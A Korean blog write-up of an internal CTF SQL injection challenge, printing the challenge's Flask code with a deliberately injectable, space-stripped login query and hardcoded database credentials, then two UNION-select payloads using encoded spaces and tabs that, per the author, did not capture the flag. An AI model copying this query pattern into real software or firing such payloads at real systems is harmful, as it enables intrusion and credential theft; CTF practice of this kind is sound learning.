Web Hacking/SWLUG 내부 CTF

[SWLUG] Sqli7 - write up

hanbunny 2025. 4. 14. 11:40

🐰시작!

이 창이 뜨고 시작한다.
소스코드를 먼저 열어봄.

from flask import Flask, request, g
import mysql.connector

app = Flask(__name__)

def get_db():
    if 'db' not in g:
        g.db = mysql.connector.connect(
            host='db',  # Docker Compose 서비스 이름
            user='root',
            password='toor',
            database='sqli'
        )
    return g.db

@app.teardown_appcontext
def close_db(exception):
    db = g.pop('db', None)
    if db is not None:
        db.close()

@app.route('/')
def index():
    uid = request.args.get('uid')
    upw = request.args.get('upw')

    if uid is not None:
        uid=uid.replace(' ', '')
    if upw is not None:
        upw=upw.replace(' ', '')

    query = f"SELECT * FROM sqli7 WHERE uid='{uid}' AND upw='{upw}'"
    print(query)  # For debugging

    cur = get_db().cursor()
    try:
        cur.execute(query)
        result = cur.fetchone()
    except mysql.connector.Error as e:
        return f"<h3>Database error: {e}</h3>"

    if result:
        output = f"<h3>Hello! {result[3]}</h3>"
    else:
        output = "<h3>Invalid credentials</h3>"

    return f"""
        <h1>level 7</h1>
        <p><b>Query:</b> {query}</p>
        <p><b>Result:</b> {output}</p>
    """

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')
  if uid is not None:
        uid=uid.replace(' ', '')
    if upw is not None:
        upw=upw.replace(' ', '')

이 부분을 보면 uid와 upw에 입력된 모든 공백들을 제거함.
공백제거를 우회하기위해선 URL 인코딩을 이용한 공백 대체, SQL 주석(/**/)을 활용, 대체 문자 사용이 있음.

시도1) 공백문자 인코딩 = %20 을 사용.

/?uid=‘%20union%20select%201,2,3,(select%20upw%20from%20sqli7%20where uid=‘admin’)#

공백이라 띄어쓰기도 전부 사라짐.

시도2) 탭문자 인코딩 = %09를 사용.

/?uid='%09union%09select%091,2,3,%09(select%09upw%09from%09sqli7%09where%09uid='admin')#

플래그 획득 못함.

'Web Hacking > SWLUG 내부 CTF' 카테고리의 다른 글

[SWLUG] CMDi1- write up  (0) 2025.04.14
[SWLUG] URL1 - write up  (0) 2025.04.14
[SWLUG] Sqli5 - write up  (0) 2025.04.14
[SWLUG] Sqli4 - write up  (0) 2025.04.14
[SWLUG] Sqli3 - write up  (0) 2025.04.14